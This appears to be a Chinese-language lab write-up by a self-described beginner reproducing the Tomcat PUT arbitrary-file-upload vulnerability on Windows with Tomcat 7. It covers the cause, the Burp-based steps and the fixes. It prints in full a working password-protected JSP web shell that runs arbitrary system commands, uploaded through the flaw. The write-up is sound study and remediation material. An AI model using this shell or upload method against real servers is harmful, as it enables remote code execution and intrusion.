复现环境:win7下配置的tomcat7环境
漏洞原因:
Tomcat 的 Servlet 是在 conf/web.xml 配置的,
1、在这个xml里能看到,当后缀名为*.jsp、*.jspx时,是用JSP serverlet处理请求的;其它的使用Default serverlet,如图:
2、在该xml的default serverlet里添加一个
3、“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时,会调用 resources.bind:dirContext 为 FileDirContext:调用 rebind 创建文件:
又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。(这里没太看懂,不知道这个具体的调用过程是写在哪里的,权且记下来把)
漏洞复现过程:
(1)修改web.xml,在default serverlet里加上readonly并设值为false。(上面有了,不贴图了)
(2)访问tomcat的网站,就是IP:8080,抓包(这里burp的代理端口和tomcat的端口撞了,把burp和浏览器对应端口改一下,然后给burp加一个上层代理即可)
(3)把方法改为PUT,然后PUT一个test.jsp,内容如下
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp+"\\n"); } buf.close(); } catch (Exception e) { line.append(e.getMessage()); } return line.toString(); } %> <% if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))) { out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>"); } else { out.println(":-)"); } %>
如图:
返回了201created,那就是成功了
(4)浏览器访问一下该jsp,得到一个表情,因为没给pwd和cmd参数
(5)给上参数,执行了代码
漏洞修复:
(1)改用别的版本的tomcat,在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞
(2)禁用PUT和DELETE
(3)把readonly改为true
参考自该链接:https://www.freebuf.com/vuls/150203.html
萌新,有什么不妥的,望大佬告知